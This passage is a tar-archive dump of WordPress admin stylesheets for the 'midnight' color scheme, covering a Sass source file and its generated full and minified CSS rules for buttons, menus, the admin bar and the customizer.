> .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after, .wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after { color: #0073aa; } .wp-core-ui .customize-control .attachment-media-view .button-add-media:focus { background-color: #fbfbfc; border-color: #e14d43; border-style: solid; box-shadow: 0 0 0 1px #e14d43; outline: 2px solid transparent; } .wp-core-ui .wp-full-overlay-footer .devices button:focus, .wp-core-ui .wp-full-overlay-footer .devices button.active:hover { border-bottom-color: #e14d43; } .wp-core-ui .wp-full-overlay-footer .devices button:hover:before, .wp-core-ui .wp-full-overlay-footer .devices button:focus:before { color: #e14d43; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus { color: #e14d43; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow { box-shadow: 0 0 0 1px rgb(232.0183486239, 118.6422018349, 110.9816513761), 0 0 2px 1px #e14d43; } .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover { border-bottom-color: #e14d43; color: #0073aa; } css/colors/midnight/colors.scss 0000644 00000000523 15233246127 0012643 0 ustar 00 @use "sass:color"; $base-color: #363b3f; $highlight-color: #e14d43; $notification-color: #69a8bb; @use "../_admin.scss" with ( $scheme-name: "midnight", $base-color: $base-color, $highlight-color: $highlight-color, $notification-color: $notification-color, $dashboard-accent-2: color.mix($base-color, $notification-color, 90%), ); css/colors/midnight/colors.css 0000644 00000061453 15233246127 0012471 0 ustar 00 /*! This file is auto-generated */ /* * Button mixin - creates a primary button effect. * Uses CSS custom properties for theme color support across color schemes. */ /* * Secondary button mixin - outlined style with theme color. * Matches Gutenberg's .is-secondary button variant. */ /* * Tertiary button mixin - transparent background, gray text. */ /** * This function name uses British English to maintain backward compatibility, as developers * may use the function in their own admin CSS files. See #56811. */ body { background: #f0f0f0; } /* Links */ a { color: #0073aa; } a:hover, a:active, a:focus { color: rgb(0, 149.5, 221); } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-revisions:before, span.wp-media-buttons-icon:before { color: currentColor; } /* Link button - appears as text link, no border or background */ /* Matches Gutenberg's .is-link button variant */ .wp-core-ui .button-link, .wp-core-ui .button.button-link { color: var(--wp-admin-theme-color); } .wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button.button-link:hover, .wp-core-ui .button.button-link:active { color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-link:focus, .wp-core-ui .button.button-link:focus { color: var(--wp-admin-theme-color); border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-link:disabled, .wp-core-ui .button-link[aria-disabled=true], .wp-core-ui .button.button-link:disabled, .wp-core-ui .button.button-link[aria-disabled=true] { color: #949494; } .media-modal .delete-attachment, .media-modal .trash-attachment, .media-modal .untrash-attachment, .wp-core-ui .button-link-delete { color: #cc1818; } .media-modal .delete-attachment:hover, .media-modal .trash-attachment:hover, .media-modal .untrash-attachment:hover, .media-modal .delete-attachment:focus, .media-modal .trash-attachment:focus, .media-modal .untrash-attachment:focus, .wp-core-ui .button-link-delete:hover, .wp-core-ui .button-link-delete:focus { color: rgb(230.6842105263, 48.3157894737, 48.3157894737); } /* Forms */ input[type=checkbox]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } input[type=radio]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } .wp-core-ui input[type=reset]:hover, .wp-core-ui input[type=reset]:active { color: rgb(0, 149.5, 221); } input[type=text]:focus, input[type=password]:focus, input[type=color]:focus, input[type=date]:focus, input[type=datetime]:focus, input[type=datetime-local]:focus, input[type=email]:focus, input[type=month]:focus, input[type=number]:focus, input[type=search]:focus, input[type=tel]:focus, input[type=time]:focus, input[type=url]:focus, input[type=week]:focus, select:focus, textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } input[type=checkbox]:focus, input[type=radio]:focus { border-color: #1e1e1e; box-shadow: 0 0 0 2px #ffffff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .wp-core-ui select:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .wp-tags-autocomplete .ui-state-focus, .wp-tags-autocomplete [aria-selected=true] { background-color: var(--wp-admin-theme-color); } #pass1:focus, #pass1-text:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .mailserver-pass-wrap .button.wp-hide-pw:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } /* Core UI */ .wp-core-ui { /* Default button - theme color border and text (matches secondary) */ } .wp-core-ui .button { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button:disabled, .wp-core-ui .button.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Secondary button - same as default */ } .wp-core-ui .button-secondary { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button-secondary:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-secondary:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-secondary:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button-secondary:disabled, .wp-core-ui .button-secondary.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Primary button - theme color background */ } .wp-core-ui .button-primary { background: var(--wp-admin-theme-color); border-color: transparent; border-radius: 2px; color: #fff; } .wp-core-ui .button-primary:hover { background: var(--wp-admin-theme-color-darker-10); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:focus { background: var(--wp-admin-theme-color); border-color: transparent; color: #fff; /* Gutenberg-style focus ring: outer theme color + inset white for contrast */ box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color), inset 0 0 0 1px #ffffff; /* Visible in Windows High Contrast mode */ outline: 1px solid transparent; } .wp-core-ui .button-primary:active { background: var(--wp-admin-theme-color-darker-20); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary.disabled { background: #f0f0f0; border-color: transparent; color: #949494; cursor: not-allowed; } .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover { background: var(--wp-admin-theme-color-darker-10); color: #fff; border-color: transparent; box-shadow: none; } .wp-core-ui .button-group > .button.active { border-color: var(--wp-admin-theme-color); background: rgba(var(--wp-admin-theme-color--rgb), 0.08); } .wp-core-ui .wp-ui-primary { color: #fff; background-color: #363b3f; } .wp-core-ui .wp-ui-text-primary { color: #363b3f; } .wp-core-ui .wp-ui-highlight { color: #fff; background-color: #e14d43; } .wp-core-ui .wp-ui-text-highlight { color: #e14d43; } .wp-core-ui .wp-ui-notification { color: #fff; background-color: #69a8bb; } .wp-core-ui .wp-ui-text-notification { color: #69a8bb; } .wp-core-ui .wp-ui-text-icon { color: hsl(206.6666666667, 7%, 95%); } /* List tables */ .wrap .page-title-action { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wrap .page-title-action:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wrap .page-title-action:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wrap .page-title-action:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .view-switch a.current:before { color: #363b3f; } .view-switch a:hover:before { color: #69a8bb; } /* Admin Menu */ #adminmenuback, #adminmenuwrap, #adminmenu { background: #363b3f; } #adminmenu a { color: #fff; } #adminmenu div.wp-menu-image:before { color: hsl(206.6666666667, 7%, 95%); } #adminmenu a:hover, #adminmenu li.menu-top:hover, #adminmenu li.opensub > a.menu-top, #adminmenu li > a.menu-top:focus { color: #fff; background-color: #e14d43; } #adminmenu li.menu-top:hover div.wp-menu-image:before, #adminmenu li.opensub > a.menu-top div.wp-menu-image:before { color: #fff; } /* Active tabs use a bottom border color that matches the page background color. */ .about-wrap .nav-tab-active, .nav-tab-active, .nav-tab-active:hover { background-color: #f0f0f0; border-bottom-color: #f0f0f0; } /* Admin Menu: submenu */ #adminmenu .wp-submenu, #adminmenu .wp-has-current-submenu .wp-submenu, #adminmenu .wp-has-current-submenu.opensub .wp-submenu, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu { background: rgb(37.5230769231, 40.9974358974, 43.7769230769); } #adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-right-color: rgb(37.5230769231, 40.9974358974, 43.7769230769); } #adminmenu .wp-submenu .wp-submenu-head { color: rgb(194.7, 196.2, 197.4); } #adminmenu .wp-submenu a, #adminmenu .wp-has-current-submenu .wp-submenu a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a { color: rgb(194.7, 196.2, 197.4); } #adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover, #adminmenu .wp-has-current-submenu .wp-submenu a:focus, #adminmenu .wp-has-current-submenu .wp-submenu a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover { color: #e14d43; } /* Admin Menu: current */ #adminmenu .wp-submenu li.current a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a { color: #fff; } #adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus { color: #e14d43; } ul#adminmenu a.wp-has-current-submenu:after, ul#adminmenu > li.current > a.current:after { border-right-color: #f0f0f0; } #adminmenu li.current a.menu-top, #adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, #adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head, .folded #adminmenu li.current.menu-top { color: #fff; background: #e14d43; } #adminmenu li.wp-has-current-submenu div.wp-menu-image:before, #adminmenu a.current:hover div.wp-menu-image:before, #adminmenu li.current div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before, #adminmenu li:hover div.wp-menu-image:before, #adminmenu li a:focus div.wp-menu-image:before, #adminmenu li.opensub div.wp-menu-image:before { color: #fff; } /* Admin Menu: bubble */ #adminmenu .menu-counter, #adminmenu .awaiting-mod, #adminmenu .update-plugins { color: #fff; background: #69a8bb; } #adminmenu li.current a .awaiting-mod, #adminmenu li a.wp-has-current-submenu .update-plugins, #adminmenu li:hover a .awaiting-mod, #adminmenu li.menu-top:hover > a .update-plugins { color: #fff; background: rgb(37.5230769231, 40.9974358974, 43.7769230769); } /* Admin Menu: collapse button */ #collapse-button { color: hsl(206.6666666667, 7%, 95%); } #collapse-button:hover, #collapse-button:focus { color: #e14d43; } /* Admin Bar */ #wpadminbar { color: #fff; background: #363b3f; } #wpadminbar .ab-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: #fff; } #wpadminbar .ab-icon, #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar .ab-item:after { color: hsl(206.6666666667, 7%, 95%); } #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item, #wpadminbar .ab-top-menu > li.menupop.hover > .ab-item { color: #e14d43; background: rgb(37.5230769231, 40.9974358974, 43.7769230769); } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: #e14d43; } #wpadminbar:not(.mobile) li:hover .ab-icon:before, #wpadminbar:not(.mobile) li:hover .ab-item:before, #wpadminbar:not(.mobile) li:hover .ab-item:after, #wpadminbar:not(.mobile) li:hover #adminbarsearch:before { color: #e14d43; } /* Admin Bar: submenu */ #wpadminbar .menupop .ab-sub-wrapper { background: rgb(37.5230769231, 40.9974358974, 43.7769230769); } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, #wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: rgb(75.8214230769, 76.4087307692, 76.8785769231); } #wpadminbar .ab-submenu .ab-item, #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: rgb(194.7, 196.2, 197.4); } #wpadminbar .quicklinks li .blavatar, #wpadminbar .menupop .menupop > .ab-item:before { color: hsl(206.6666666667, 7%, 95%); } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, #wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover .ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: #e14d43; } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar, #wpadminbar .menupop .menupop > .ab-item:hover:before, #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: #e14d43; } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: hsl(206.6666666667, 7%, 95%); } /* Admin Bar: search */ #wpadminbar #adminbarsearch:before { color: hsl(206.6666666667, 7%, 95%); } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { color: #fff; background: rgb(70.4769230769, 77.0025641026, 82.2230769231); } /* Admin Bar: recovery mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: #fff; background-color: #69a8bb; } #wpadminbar #wp-admin-bar-recovery-mode .ab-item, #wpadminbar #wp-admin-bar-recovery-mode a.ab-item { color: #fff; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: #fff; background-color: rgb(94.5, 151.2, 168.3); } /* Admin Bar: my account */ #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { border-color: rgb(70.4769230769, 77.0025641026, 82.2230769231); background-color: rgb(70.4769230769, 77.0025641026, 82.2230769231); } #wpadminbar #wp-admin-bar-user-info .display-name { color: #fff; } #wpadminbar #wp-admin-bar-user-info a:hover .display-name { color: #e14d43; } #wpadminbar #wp-admin-bar-user-info .username { color: rgb(194.7, 196.2, 197.4); } /* Pointers */ .wp-pointer .wp-pointer-content h3 { background-color: #e14d43; border-color: rgb(221.4908256881, 56.1788990826, 45.0091743119); } .wp-pointer .wp-pointer-content h3:before { color: #e14d43; } .wp-pointer.wp-pointer-top .wp-pointer-arrow, .wp-pointer.wp-pointer-top .wp-pointer-arrow-inner, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner { border-bottom-color: #e14d43; } /* Media */ .media-item .bar, .media-progress-bar div { background-color: #e14d43; } .details.attachment { box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #e14d43; } .attachment.details .check { background-color: #e14d43; box-shadow: 0 0 0 1px #fff, 0 0 0 2px #e14d43; } .media-selection .attachment.selection.details .thumbnail { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #e14d43; } /* Themes */ .theme-browser .theme.active .theme-name, .theme-browser .theme.add-new-theme a:hover:after, .theme-browser .theme.add-new-theme a:focus:after { background: #e14d43; } .theme-browser .theme.add-new-theme a:hover span:after, .theme-browser .theme.add-new-theme a:focus span:after { color: #e14d43; } .theme-section.current, .theme-filter.current { border-bottom-color: #363b3f; } body.more-filters-opened .more-filters { color: #fff; background-color: #363b3f; } body.more-filters-opened .more-filters:before { color: #fff; } body.more-filters-opened .more-filters:hover, body.more-filters-opened .more-filters:focus { background-color: #e14d43; color: #fff; } body.more-filters-opened .more-filters:hover:before, body.more-filters-opened .more-filters:focus:before { color: #fff; } /* Widgets */ .widgets-chooser li.widgets-chooser-selected { background-color: #e14d43; color: #fff; } .widgets-chooser li.widgets-chooser-selected:before, .widgets-chooser li.widgets-chooser-selected:focus:before { color: #fff; } /* Nav Menus */ .nav-menus-php .item-edit:focus:before { box-shadow: 0 0 0 1px rgb(232.0183486239, 118.6422018349, 110.9816513761), 0 0 2px 1px #e14d43; } /* Responsive Component */ div#wp-responsive-toggle a:before { color: hsl(206.6666666667, 7%, 95%); } .wp-responsive-open div#wp-responsive-toggle a { border-color: transparent; background: #e14d43; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a { background: rgb(37.5230769231, 40.9974358974, 43.7769230769); } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { color: hsl(206.6666666667, 7%, 95%); } /* TinyMCE */ .mce-container.mce-menu .mce-menu-item:hover, .mce-container.mce-menu .mce-menu-item.mce-selected, .mce-container.mce-menu .mce-menu-item:focus, .mce-container.mce-menu .mce-menu-item-normal.mce-active, .mce-container.mce-menu .mce-menu-item-preview.mce-active { background: #e14d43; } /* Customizer */ .wp-core-ui #customize-controls .control-section:hover > .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:hover, .wp-core-ui #customize-controls .control-section.open .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:focus { color: #0073aa; border-left-color: #e14d43; } .wp-core-ui .customize-controls-close:focus, .wp-core-ui .customize-controls-close:hover, .wp-core-ui .customize-controls-preview-toggle:focus, .wp-core-ui .customize-controls-preview-toggle:hover { color: #0073aa; border-top-color: #e14d43; } .wp-core-ui .customize-panel-back:hover, .wp-core-ui .customize-panel-back:focus, .wp-core-ui .customize-section-back:hover, .wp-core-ui .customize-section-back:focus { color: #0073aa; border-left-color: #e14d43; } .wp-core-ui .customize-screen-options-toggle:hover, .wp-core-ui .customize-screen-options-toggle:active, .wp-core-ui .customize-screen-options-toggle:focus, .wp-core-ui .active-menu-screen-options .customize-screen-options-toggle, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus { color: #0073aa; } .wp-core-ui .customize-screen-options-toggle:focus:before, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before, .wp-core-ui .menu-item-bar .item-delete:focus:before, .wp-core-ui #available-menu-items .item-add:focus:before, .wp-core-ui #customize-save-button-wrapper .save:focus, .wp-core-ui #publish-settings:focus { box-shadow: 0 0 0 1px rgb(232.0183486239, 118.6422018349, 110.9816513761), 0 0 2px 1px #e14d43; } .wp-core-ui #customize-controls .customize-info.open .customize-help-toggle, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover { color: #0073aa; } .wp-core-ui .control-panel-themes .customize-themes-section-title:focus, .wp-core-ui .control-panel-themes .customize-themes-section-title:hover { border-left-color: #e14d43; color: #0073aa; } .wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after { background: #e14d43; } .wp-core-ui .control-panel-themes .customize-themes-section-title.selected { color: #0073aa; } .wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after, .wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after { color: #0073aa; } .wp-core-ui .customize-control .attachment-media-view .button-add-media:focus { background-color: #fbfbfc; border-color: #e14d43; border-style: solid; box-shadow: 0 0 0 1px #e14d43; outline: 2px solid transparent; } .wp-core-ui .wp-full-overlay-footer .devices button:focus, .wp-core-ui .wp-full-overlay-footer .devices button.active:hover { border-bottom-color: #e14d43; } .wp-core-ui .wp-full-overlay-footer .devices button:hover:before, .wp-core-ui .wp-full-overlay-footer .devices button:focus:before { color: #e14d43; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus { color: #e14d43; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow { box-shadow: 0 0 0 1px rgb(232.0183486239, 118.6422018349, 110.9816513761), 0 0 2px 1px #e14d43; } .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover { border-bottom-color: #e14d43; color: #0073aa; } css/colors/midnight/colors.min.css 0000644 00000052675 15233246127 0013261 0 ustar 00 /*! This file is auto-generated */ body{background:#f0f0f0}a{color:#0073aa}a:active,a:focus,a:hover{color:rgb(0,149.5,221)}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link,.wp-core-ui .button.button-link{color:var(--wp-admin-theme-color)}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover,.wp-core-ui .button.button-link:active,.wp-core-ui .button.button-link:hover{color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-link:focus,.wp-core-ui .button.button-link:focus{color:var(--wp-admin-theme-color);border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-link:disabled,.wp-core-ui .button-link[aria-disabled=true],.wp-core-ui .button.button-link:disabled,.wp-core-ui .button.button-link[aria-disabled=true]{color:#949494}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#cc1818}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:rgb(230.6842105263,48.3157894737,48.3157894737)}input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}input[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:rgb(0,149.5,221)}input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}input[type=checkbox]:focus,input[type=radio]:focus{border-color:#1e1e1e;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.wp-core-ui select:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-tags-autocomplete .ui-state-focus,.wp-tags-autocomplete [aria-selected=true]{background-color:var(--wp-admin-theme-color)}#pass1-text:focus,#pass1:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.mailserver-pass-wrap .button.wp-hide-pw:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-core-ui .button{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button.disabled,.wp-core-ui .button:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-secondary{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button-secondary:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-secondary:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) 